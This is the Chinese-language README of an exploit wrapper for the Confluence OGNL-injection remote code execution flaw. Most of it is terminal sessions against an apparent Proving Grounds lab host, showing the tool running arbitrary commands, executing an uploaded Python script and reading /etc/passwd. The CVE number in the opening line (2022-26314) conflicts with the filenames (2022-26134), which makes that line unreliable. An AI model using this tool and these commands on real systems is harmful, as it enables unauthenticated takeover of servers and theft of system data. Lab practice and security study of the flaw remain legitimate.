此脚本是对Confluence Data Center和Server中通过OGNL注入漏洞实现未认证远程代码执行的包装器(CVE-2022-26314)。
它最初受PoC through_the_wire.py 启发,我添加了一些“改进”:
-c @/path/to/file读取脚本;支持shebang(参见示例用法)netcat依赖;使用Python原生套接字进行命令和文件读取输出来自Proving Grounds靶机Flu的一些示例:
kali@kali:~/ctf/offsec/pg/flu$ cat test.py
#!/usr/bin/env python3
import sys;print(sys.version)
kali@kali:~/ctf/offsec/pg/flu$ ./cve-2022-26134.py -c '@test.py' http://192.168.159.41:8090 tun0 2>/dev/null
3.11.4 (main, Dec 7 2023, 15:43:41) [GCC 12.3.0]
kali@kali:~/ctf/offsec/pg/flu$ ./cve-2022-26134.py -c 'id;hostname;ip a' http://192.168.159.41:8090 tun0
[*] target is vulnerable
uid=1001(confluence) gid=1001(confluence) groups=1001(confluence)
flu
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
3: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:86:cc:58 brd ff:ff:ff:ff:ff:ff
altname enp3s0
inet 192.168.159.41/24 brd 192.168.159.255 scope global ens160
valid_lft forever preferred_lft forever
kali@kali:~/ctf/offsec/pg/flu$ ./cve-2022-26134.py --readfile '/etc/passwd' http://192.168.159.41:8090 tun0 2>/dev/null | head
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin